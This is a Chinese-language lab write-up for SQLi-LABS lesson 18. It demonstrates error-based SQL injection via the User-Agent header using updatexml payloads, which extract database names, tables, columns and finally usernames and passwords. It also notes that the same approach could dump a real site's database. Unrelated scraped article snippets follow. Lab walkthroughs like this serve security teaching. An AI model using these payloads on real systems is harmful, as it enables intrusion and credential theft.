SQLi LABS Less-18

2023-11-03

第十八关请求方式为 GET请求 , 注入点为 User-Agent , 注入方式为 错误注入

 

第一步,判断注入方式

 先看源码

 后台代码对 特殊字符进行了过滤 , 常规的注入方式行不通 , 只有通过代码审计来判断注入方式

 

 登录成功后 , 有一个保存用户主机信息的SQL语句 , 并且没有对参数进行过滤 , 我们可以针对这个SQL进行错误注入

真实场景中 , 我们可以先注册一个账号进行登录 , 登录成功后通过User-Agent 进行错误注入 , 从而实现脱库

使用 Burp 工具进行代理拦截 , 修改 User-Agent

User-Agent: ' and updatexml(1,'~',3) and '

updatexml() 的第2个参数如果包含特殊符号就会报错 , 利用其报错信息可获取数据库信息

 

页面返回了我们插入的报错信息 , 固 存在错误注入

 

第二步,获取所有数据库

 查询information_schema默认数据库的schemata表的schema_name字段 , 该字段保存了所有数据库名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(schema_name) 
from information_schema.schemata),50,31)
),3) and '

 concat() , 可将结果拼接指定字符 , 目的在于触发错误

group_concat() , 可将多行结果合并为一行 , 目的在于方便展示

sunstr() , 用来截取字符串 , updatexml()返回结果的字符串长度限制为32 , 需要多次截取来获取完整结果

注意: User-Agent 的参数中 不要包含空格

下一步 , 根据security数据库 获取其所有表

 

第三步,获取所有表

查询information_schema默认数据库的tables表的table_name字段 , 该字段保存了所有表名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(table_name) 
from information_schema.tables 
where table_schema='security')
,1,31)
),3) and '

注意 : User-Agent 参数中 不要有空格

users表为用户表 , 下一步根据users表 获取其所有字段

 

第四步,获取所有字段

查询information_schema默认数据库的columns表的column_name字段 , 该字段保存了所有字段名

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(column_name) 
from information_schema.columns 
where table_schema='security' and table_name='users')
,1,31))
,3) and '

注意 : User-Agent 参数中不要有空格

 

第五步,获取账号密码

User-Agent: ' and updatexml(1,concat('~',
substr(
(select group_concat(username,'~',password)
from security.users)
,1,31))
,3) and '

 

 

 

 

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

SQLi LABS Less-18 的相关文章

  • 使用itertools.permutations(),找出三队选手的名单

    itertools permutations 返回可迭代对象的所有数学全排列方式 题目 两个乒乓球队进行比赛 各出3人 甲队为a b c三人 乙队为x y z三人 已抽签决定比赛名单 有人向队员打听比赛的名单 a说他不和x比 c说他不和x
  • 【转载+整理】区块链学习笔记-北大肖臻老师课后笔记(01-13)——BTC篇

    学习视频来自 北京大学计算机系肖臻区块链学习视频 还有一些参考了一些博客的记录 其他博客1 文章目录 01 简介 02 BTC密码学原理 03BTC数据结构 04 BTC协议 05 BTC实现 06 BTC网络 07 BTC挖矿难度 08
  • 管网数据模型与数据结构

    空间数据模型是关于现实世界中空间实体及其相互问联系的概念 它为描述空 间数据的组织和设计空间数据库模式提供基本方法 管网空间数据模型是空间数据 模型的一种 在管网数据的表达和管网空间分析等方面起着极其关键的作用 1 1 城市地下管网数据特点
  • IDEA插件Free Mybatis Plugin使用心得

    目录 问题现象 问题分析 问题现象 今天在项目组长的推荐下 我在IDEA上安装了Free Mybatis Plugin插件 怎么安装我就不说了 很简单的 网上也有很多资料 这里我提一下我的一些使用心得 首先看它的介绍 其实里面唯一吸引到我的
  • 部署无线覆盖,安装无线网桥设备要注意的问题

    互联网产品和设备不断更新和迭代 以适应实际的发展 随着无线覆盖范围的发展 无线网桥产品也在升级以满足更好的需求 显然 新的无线网桥设备对安装的要求也越来越高 虽然无线网桥安装看起来很简单 但您只需将设备安装到正确的位置即可 但是 要使无线网
  • 分布式调度 Elastic-job

    分布式调度 Elastic job 1 概述 1 1什么是任务调度 我们可以思考一下下面业务场景的解决方案 某电商平台需要每天上午10点 下午3点 晚上8点发放一批优惠券 某银行系统需要在信用卡到期还款日的前三天进行短信提醒 某财务系统需要
  • Cookie的简单使用

    在JSP中 使用cookie 有以下几个步骤 1 使用page指令导入类javax servlet http cookie 2 创建Cookie对象 Cookie newCookie new Cookie String key Object

随机推荐

  • vue html实体空格无效

    空格类型 当第一列空格不能用时试试第二列 空格分为 两种 普通文本空格和html实体空格 普通文本空格 unicode 正则 描述 全角 中文空格键 u3000 中文网页上常会出现 半角 英文空格键 u0020 s 最常见 写代码 html
  • liquibase报错 waiting for changelog lock

    今天项目启动控制台突然卡住 liquibase一直在打印 waiting for changelog lock 这可能是由于一个被杀死的liquibase进程未在DATABASECHANGELOGLOCK表上释放其锁定 通过以下方法解决 查
  • Essential Google Cloud Infrastructure: Foundation

    最后更新2022 03 08 有点事情 中断了几天 继续GCP GCP Fundamental看完了 但是lab还没做 翻墙越脊的 太麻烦 过些时候方便了一起练习 继续学习下一课 essential系列其实是再走一遍fundamentals
  • python21天打卡Day10-string和bytes互转

    a 21 python b a encode utf 8 string转为bytes print format b type b c b 21 python d c decode utf 8 print format d type d D
  • Gstreamer推送摄像头数据到RTMP服务器的方法(SRS成功示例)

    最近在研究如何将Linux中的视频数据推送到流媒体服务器 看到gstreamer还比较不错 于是试了一下 服务端用的SRS RTMP推流 搭建非常简单 教程可参考 https blog csdn net qq 52514123 articl
  • sort根据结构体中某一元素进行排序

    先看一下简单的sort全排序 int a 100 for int i 1 i lt 10 i scanf d a i sort a a 10 OK 排完了 但是 想根据结构体的一个元素 对结构体数组排序 看完下面例题 多思考 例题 FatM
  • CoordinatorLayout 的滑动监听--自定义

    public abstract static class AppBarStateChangeListener implements AppBarLayout OnOffsetChangedListener public enum State
  • Nginx实战练习

    1 Nginx安装 以centos7为例 详解博文 Nginx安装搭建之源码方式 Centos7 centos7源码安装nginx IT之一小佬的博客 CSDN博客 2 简单搭建站点 2 1 单个站点搭建 正常开放情况下 开发代码防止网站的
  • require() of ES modules is not supported.

    问题 如图所示 看了一些答案是版本问题 解决办法其其实提示已经有了 use import 找到提示的文件 require改为import 问题即可解决
  • 前端如何接接口

    前端一般静态页面写完后 就要从后端获取数据了 就要进行接接口 接接口其实说白了就是发送网络请求 从后端获取数据 然后再将数据渲染到页面上 今天就以一个简单的uniapp项目为例 介绍一下接口怎么写 首先 是封装一个request js文件
  • rockchip rk3368(px5)车载开发之路6,系统开机bootanimation播放视频需求

    本系列记载作者来到一个新的车载后装市场小公司 负责从新开始维护一套代码的心路过程 系统使用瑞芯微的rk3368芯片 版本是PX5 Android 8 0 release 20180726 从无到有的每个patch修改以及思考 其中着重点是驱
  • PyTorch知识点总结100问

    PyTorch知识点总结 什么是PyTorch 它有什么特点和优势 PyTorch中的张量 Tensor 是什么 它与NumPy中的数组有何区别 请介绍一下PyTorch的执行流程 PyTorch中的autograd是什么 它有什么作用 请
  • Salesforce中国区解散,谁是替代的最佳选择?

    摘要 全球第一大CRM厂商退出 对中国市场有何影响 8月3日 Salesforce中国区解散的消息 在IT业界引发热议 虽然是全球第一大CRM厂商 但Salesforce在中国区业务不多 整个团队只有60 70人规模 主要业务是全球500强
  • 分布式系统消息通信技术:MOM与RPC

    一 中间件 什么是中间件 中间件 Middleware 是处于操作系统和应用程序之间的软件 也有人认为它应该属于操作系统中的一部分 人们在使用中间件时 往往是一组中间件集成在一起 构成一个平台 包括开发平台和运行平台 但在这组中间件中必须要
  • ifconfig命令无法识别,提示“Command 'ifconfig' is available in '/sbin/ifconfig'”

    有台虚拟机 用的时候发现ifconfig命令不好用了 提示如下 Command ifconfig is available in sbin ifconfig The command could not be located because
  • 需求:vue用流程图展示数据

    问题描述 如标题所示 粗略的写了一版 没有细化 UI 红框的地方本来想用canvas自己写 但是找资料的时候发现了一个插件LeaderLine 非常符合要求 然后发现了一篇文章vue横向树级组件 流程图 组件递归 套用了一下 然后按照自己的
  • 将json-bigint处理为数值分区数组的字段全部自动转为字符串

    json bigint虽然能帮我们处理好id 但 他的模式 显然不是直接可以用的 我们如果要到业务逻辑单独处理 那就太麻烦了 对系统也非常不友好 我们可以在vue项目中 src目录下创建一个utils 下面创建一个conversionLon
  • 线程共享&&独有

    线程共享 进程代码段 进程的公有数据 利用这些共享数据 线程很容易的实现相互之间的通讯 进程打开的文件描述符 信号的处理器 进程的当前目录和进程用户ID与进程组ID 线程独有 线程ID 桟 错误返回码 error 线程优先级
  • IDEA配置仓库提交简易说明

    1 码云注册并创建仓库 2 IDEA顶部菜单VCS 如果没有 删除代码文件夹里面的 git文件 3 Create git 4 选择需要提交的代码文件夹 5 IDEA顶部菜单Git 6 Commit 提交暂存 选择需要提交的代码文件 选择Co
  • SQLi LABS Less-18

    第十八关请求方式为 GET请求 注入点为 User Agent 注入方式为 错误注入 第一步 判断注入方式 先看源码 后台代码对 特殊字符进行了过滤 常规的注入方式行不通 只有通过代码审计来判断注入方式 登录成功后 有一个保存用户主机信息的